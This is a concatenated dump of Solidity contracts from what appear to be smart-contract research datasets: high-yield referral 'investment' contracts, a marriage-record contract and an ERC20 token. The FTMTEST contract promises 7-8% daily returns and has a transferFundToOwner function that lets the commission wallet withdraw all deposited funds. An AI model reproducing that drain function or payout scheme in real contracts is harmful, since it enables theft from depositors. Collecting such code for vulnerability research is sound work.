struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
uint256 tax;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256[3] levels;
uint256 bonus;
uint256 totalBonus;
}
mapping (address => User) internal users;
address payable public devWallet;
address payable public operationalAccount;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event DevFeePayed(address indexed devWallet, uint256 totalAmount);
event OpsFeePayed(address indexed opsWallet, uint256 totalAmount);
constructor(address _devWallet, address _operationalAccount) {
devWallet = payable(_devWallet);
operationalAccount = payable(_operationalAccount);
plans.push(Plan(14, 70, 100));
plans.push(Plan(21, 77, 150));
plans.push(Plan(28, 87, 200));
}
function invest(address referrer, uint8 plan) public payable {
require(msg.value >= INVEST_MIN_AMOUNT);
require(plan < 3, "Invalid plan");
User storage user = users[msg.sender];
require(user.deposits.length < MAXIMUM_NUMBER_DEPOSITS, "Maximum number of deposits reached.");
uint256 fees = msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
(uint256 devFee, uint256 operatingFee) = getFeeAllocation(fees);
devWallet.transfer(devFee);
operationalAccount.transfer(operatingFee);
emit DevFeePayed(devWallet, devFee);
emit OpsFeePayed(operationalAccount, operatingFee);
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
(uint256 percent, uint256 profit, uint256 finish, uint256 tax) = getResult(plan, msg.value);
user.deposits.push(Deposit(plan, percent, msg.value, profit, block.timestamp, finish, tax));
totalStaked = totalStaked.add(msg.value);
emit NewDeposit(msg.sender, plan, percent, msg.value, profit, block.timestamp, finish);
}
function getFeeAllocation(uint256 fees) public view returns (uint256 devFee, uint256 operatingFee) {
if(totalStaked < 7000 ether) {
devFee = fees.mul(300).div(PERCENTS_DIVIDER);
operatingFee = fees.mul(700).div(PERCENTS_DIVIDER);
}
else {
devFee = fees.mul(500).div(PERCENTS_DIVIDER);
operatingFee = fees.mul(500).div(PERCENTS_DIVIDER);
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 tax;
for (uint256 i = 0; i < capped(user.deposits.length); i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (block.timestamp > user.deposits[i].finish) {
tax = tax.add(user.deposits[i].profit.mul(user.deposits[i].tax).div(PERCENTS_DIVIDER));
}
}
}
totalAmount = totalAmount.sub(tax);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
address payable sender = payable(msg.sender);
sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function snoozeAll(uint256 _days) public {
require(_days > 0, "Invalid argument _days (min 1).");
require(_days < 8, "Invalid argument _days (max 7).");
User storage user = users[msg.sender];
uint256 count;
for (uint256 i = 0; i < capped(user.deposits.length); i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (block.timestamp > user.deposits[i].finish) {
count = count.add(1);
snooze(msg.sender, i, _days);
}
}
}
require(count > 0, "No plans are currently eligible");
}
function snoozeAt(uint256 index, uint256 _days) public {
require(_days > 0, "Invalid argument _days (min 1).");
require(_days < 8, "invalid argument _days (max 7).");
snooze(msg.sender, index, _days);
}
function snooze(address sender, uint256 index, uint256 _days) private {
User storage user = users[sender];
require(index < user.deposits.length, "Deposit at index does not exist");
require(user.checkpoint < user.deposits[index].finish, "Deposit term already paid out.");
require(block.timestamp > user.deposits[index].finish, "Deposit term is not completed.");
uint8 plan = user.deposits[index].plan;
uint256 percent = getPercent(plan);
uint256 basis = user.deposits[index].profit;
uint256 profit;
for (uint256 i = 0; i < _days; i++) {
profit = profit.add((basis.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
user.deposits[index].profit = user.deposits[index].profit.add(profit);
user.deposits[index].finish = user.deposits[index].finish.add(_days.mul(TIME_STEP));
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < capped(user.deposits.length); i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
return totalAmount;
}
function capped(uint256 length) public pure returns (uint256 cap) {
if(length < MAXIMUM_NUMBER_DEPOSITS) {
cap = length;
} else {
cap = MAXIMUM_NUMBER_DEPOSITS;
}
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish, uint256 tax) {
percent = getPercent(plan);
tax = getTax(plan);
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
return plans[plan].percent;
}
function getTax(uint8 plan) public view returns (uint256) {
return plans[plan].tax;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256) {
return (users[userAddress].levels[0], users[userAddress].levels[1], users[userAddress].levels[2]);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish, uint256 tax) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
tax = user.deposits[index].tax;
}
function getUserDeposits(address userAddress) public view returns(Deposit[] memory deposits) {
return users[userAddress].deposits;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 326,207 | 571 |
127f3c1fdbbf71bbc415c8fae43985c3a0bd0fd8d5fa25cde18dcf0fb3047438
| 12,309 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/db/dbc72d135e4327f3c4526b13776885b4fee2de70_FTMTEST.sol
| 3,762 | 11,606 |
pragma solidity ^0.5.8;
contract FTMTEST {
using SafeMath for uint256;
using SafeMath for uint8;
uint256 constant public INVEST_MIN_AMOUNT = 1 ether; // 1 FTM
uint256[] public REFERRAL_PERCENTS = [50, 30, 20];
uint256 constant public PROJECT_FEE = 80;
uint256 constant public DEVELOPER_FEE = 20;
uint256 constant public PERCENT_STEP = 5;
uint256 constant public PERCENTS_DIVIDER= 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MAX_HOLD_PERCENT = 15;
uint256 WITHDRAW_FEE_1 = 50; //5%
uint256 WITHDRAW_FEE_2 = 100; //10%
uint256 public totalStaked;
uint256 public totalRefBonus;
uint256 public totalUsers;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
uint256 holdBonusCheckpoint;
address payable referrer;
uint256 referrals;
uint256 totalBonus;
uint256 withdrawn;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable private commissionWallet;
address payable private developerWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FundTransderedToOwner(uint256 totalAmount);
constructor(address payable wallet, address payable _developer) public {
require(!isContract(wallet));
commissionWallet = wallet;
developerWallet = _developer;
startUNIX = block.timestamp.add(365 days);
plans.push(Plan(14, 80)); // 8% per day for 14 days
plans.push(Plan(21, 75)); // 7.5% per day for 21 days
plans.push(Plan(28, 70)); // 7% per day for 28 days
plans.push(Plan(14, 80)); // 8% per day for 14 days (at the end, compounding)
plans.push(Plan(21, 75)); // 7.5% per day for 21 days (at the end, compounding)
plans.push(Plan(28, 70)); // 7% per day for 28 days (at the end, compounding)
}
function launch() public {
require(msg.sender == developerWallet);
startUNIX = block.timestamp;
}
function invest(address payable referrer,uint8 plan) public payable {
_invest(referrer, plan, msg.sender, msg.value);
}
function _invest(address payable referrer, uint8 plan, address payable sender, uint256 value) private {
require(value >= INVEST_MIN_AMOUNT);
require(plan < 6, "Invalid plan");
require(startUNIX < block.timestamp, "contract hasn`t started yet");
uint256 fee = value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
uint256 developerFee = value.mul(DEVELOPER_FEE).div(PERCENTS_DIVIDER);
developerWallet.transfer(developerFee);
User storage user = users[sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].referrals = users[upline].referrals.add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
uint256 _refBonus = 0;
address payable upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
upline.transfer(amount);
_refBonus = _refBonus.add(amount);
emit RefBonus(upline, sender, i, amount);
upline = users[upline].referrer;
} else break;
}
totalRefBonus = totalRefBonus.add(_refBonus);
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
emit Newbie(sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, value);
user.deposits.push(Deposit(plan, percent, value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(value);
totalUsers = totalUsers.add(1);
emit NewDeposit(sender, plan, percent, value, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint256 timeMultiplier = block.timestamp.sub(user.holdBonusCheckpoint).div(TIME_STEP); // +0.1% per day
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return timeMultiplier;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
uint256 _dividends = share.mul(to.sub(from)).div(TIME_STEP);
uint256 _dividendsWithFee = _dividends.sub(_dividends.mul(WITHDRAW_FEE_1).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_dividendsWithFee);
}
} else {
if(block.timestamp > user.deposits[i].finish) {
uint256 _profit = user.deposits[i].profit;
uint256 _profitWithFee = _profit.sub(_profit.mul(WITHDRAW_FEE_2).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_profitWithFee);
}
}
}
}
return totalAmount;
}
function getUserAvailable(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else {
if(block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
}
return totalAmount;
}
function transferFundToOwner() public {
require(msg.sender == commissionWallet, "transferFundToOwner() can only be executed by creator of this contract.");
uint256 smartContractBalance = address(this).balance;
commissionWallet.transfer(smartContractBalance);
emit FundTransderedToOwner(smartContractBalance);
}
function getContractInfo() public view returns(uint256, uint256, uint256) {
return(totalStaked, totalRefBonus, totalUsers);
}
function getUserWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256) {
return (users[userAddress].referrals);
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256 amount) {
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 320,351 | 572 |
918ba73273a5bf6e5d9a36cde425700ff6b7e9483433ec380b8aa579d91ffe91
| 10,702 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x1b5a535502c519987115ebe5892666f4102bdf9f.sol
| 2,654 | 10,189 |
pragma solidity ^0.4.17;
//SmartVows Marriage Smart Contract for Partner 1 and Partner 2
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Util{
function Util() public{}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
}
contract SmartVows is Ownable, Util {
// Names of marriage partners
string public partner1_name;
string public partner2_name;
// Partners' eth address
address public partner1_address;
address public partner2_address;
// Partners Vows
string public partner1_vows;
string public partner2_vows;
// Marriage Date
string public marriageDate;
//Marital Status
string public maritalStatus;
// Couple Image Hash
bytes public coupleImageIPFShash;
// Marriage License Image Hash
bytes public marriageLicenceImageIPFShash;
// prenup Text
string public prenupAgreement;
//Last Will and Testaments
string public partner1_will;
string public partner2_will;
// Partners Signed Marriage Contract
bool public partner1_signed;
bool public partner2_signed;
// Partners Voted to update the prenup
bool public partner1_voted_update_prenup;
bool public partner2_voted_update_prenup;
//Partners Voted to update the marriage status
bool public partner1_voted_update_marriage_status;
bool public partner2_voted_update_marriage_status;
// Did both partners signed the contract
bool public is_signed;
// Officiant
string public officiant;
// Witnesses
string public witnesses;
// Location of marriage
string public location;
Event[] public lifeEvents;
struct Event {
uint date;
string name;
string description;
string mesg;
}
uint public eventcount;
// Declare Life event structure
event LifeEvent(string name, string description, string mesg);
contractEvent[] public contractEvents;
struct contractEvent {
uint ce_date;
string ce_description;
string ce_mesg;
}
uint public contracteventcount;
// Declare Contract event structure
event ContractEvent(string ce_description, string ce_mesg);
function SmartVows(string _partner1, address _partner1_address, string _partner2, address _partner2_address, string _marriageDate, string _maritalStatus, string _officiant, string _witnesses, string _location, bytes _coupleImageIPFShash, bytes _marriageLicenceImageIPFShash) public{
partner1_name = _partner1;
partner2_name = _partner2;
partner1_address=_partner1_address;
partner2_address=_partner2_address;
marriageDate =_marriageDate;
maritalStatus = _maritalStatus;
officiant=_officiant;
witnesses=_witnesses;
location=_location;
coupleImageIPFShash=_coupleImageIPFShash;
marriageLicenceImageIPFShash=_marriageLicenceImageIPFShash;
//Record contract creation in events
saveContractEvent("Blockchain marriage smart contract created","Marriage smart contract added to the blockchain");
}
// Add Life event, either partner can update
function addLifeEvent(string name, string description, string mesg) public{
require(msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address);
saveLifeEvent(name, description, mesg);
}
function saveLifeEvent(string name, string description, string mesg) private {
lifeEvents.push(Event(block.timestamp, name, description, mesg));
LifeEvent(name, description, mesg);
eventcount++;
}
function saveContractEvent(string description, string mesg) private {
contractEvents.push(contractEvent(block.timestamp, description, mesg));
ContractEvent(description, mesg);
contracteventcount++;
}
// Update partner 1 vows only once
function updatePartner1_vows(string _partner1_vows) public {
require((msg.sender == owner || msg.sender == partner1_address) && (bytes(partner1_vows).length == 0));
partner1_vows = _partner1_vows;
}
// Update partner 2 vows only once
function updatePartner2_vows(string _partner2_vows) public {
require((msg.sender == owner || msg.sender == partner2_address) && (bytes(partner2_vows).length == 0));
partner2_vows = _partner2_vows;
}
// Update Marriage status only if both partners have previously voted to update the prenup
function updateMaritalStatus(string _maritalStatus) public {
require((msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address) && (partner1_voted_update_marriage_status == true)&&(partner2_voted_update_marriage_status == true));
saveContractEvent("Marital status updated", strConcat("Marital status changed from ", maritalStatus , " to ", _maritalStatus));
maritalStatus = _maritalStatus;
partner1_voted_update_marriage_status = false;
partner2_voted_update_marriage_status = false;
}
// Partners can sign the contract
function sign() public {
require(msg.sender == partner1_address || msg.sender == partner2_address);
if(msg.sender == partner1_address){
partner1_signed = true;
saveContractEvent("Marriage signed", "Smart Contract signed by Partner 1");
}else {
partner2_signed = true;
saveContractEvent("Marriage signed", "Smart Contract signed by Partner 2");
}
if(partner1_signed && partner2_signed){// if both signed then make the contract as signed
is_signed = true;
}
}
//Function to vote to allow for updating marital status, both partners must vote to allow update
function voteToUpdateMaritalStatus() public {
if(msg.sender == partner1_address){
partner1_voted_update_marriage_status = true;
saveContractEvent("Vote - Change Marital Status", "Partner 1 voted to updated Marital Status");
}
if(msg.sender == partner2_address){
partner2_voted_update_marriage_status = true;
saveContractEvent("Vote - Change Marital Status", "Partner 2 voted to updated Marital Status");
}
}
//Function to vote to allow for updating prenup, both partners must vote true to allow update
function voteToUpdatePrenup() public {
if(msg.sender == partner1_address){
partner1_voted_update_prenup = true;
saveContractEvent("Vote - Update Prenup", "Partner 1 voted to updated Prenuptial Aggreement");
}
if(msg.sender == partner2_address){
partner2_voted_update_prenup = true;
saveContractEvent("Vote - Update Prenup", "Partner 2 voted to updated Prenuptial Aggreement");
}
}
// Update coupleImage hash, either partner can update
function updateCoupleImageIPFShash(bytes _coupleImageIPFShash) public{
require(msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address);
coupleImageIPFShash = _coupleImageIPFShash;
}
// Update marriage licence image hash, either partner can update
function updateMarriageLicenceImageIPFShash(bytes _marriageLicenceImageIPFShash) public{
require(msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address);
marriageLicenceImageIPFShash = _marriageLicenceImageIPFShash;
}
// Update prenup text, but only if both partners have previously agreed to update the prenup
function updatePrenup(string _prenupAgreement) public{
require((msg.sender == owner || msg.sender == partner1_address || msg.sender == partner2_address) && (partner1_voted_update_prenup == true)&&(partner2_voted_update_prenup == true));
prenupAgreement = _prenupAgreement;
saveContractEvent("Update - Prenup", "Prenuptial Agreement Updated");
partner1_voted_update_prenup = false;
partner2_voted_update_prenup = false;
}
// Update partner 1 will, only partner 1 can update
function updatePartner1_will(string _partner1_will) public {
require(msg.sender == partner1_address);
partner1_will = _partner1_will;
saveContractEvent("Update - Will", "Partner 1 Will Updated");
}
// Update partner 2 will, only partner 2 can update
function updatePartner2_will(string _partner2_will) public {
require(msg.sender == partner2_address);
partner2_will = _partner2_will;
saveContractEvent("Update - Will", "Partner 2 Will Updated");
}
}
| 215,778 | 573 |
0ecbcd914f62ba740f62061ab953ffee9064fdede09b7fba0b4bdc97db2050c5
| 15,397 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xab6fbb788e17b3088b96ba97f63d70959abdfa82.sol
| 3,089 | 10,703 |
pragma solidity ^0.4.17;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require (!paused);
_;
}
modifier whenPaused {
require (paused) ;
_;
}
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool){
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(0X0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ReporterToken is MintableToken, Pausable{
string public name = "Reporter Token";
string public symbol = "NEWS";
uint256 public decimals = 18;
bool public tradingStarted = false;
modifier hasStartedTrading() {
require(tradingStarted);
_;
}
function startTrading() public onlyOwner {
tradingStarted = true;
}
function transfer(address _to, uint _value) hasStartedTrading whenNotPaused public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) hasStartedTrading whenNotPaused public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
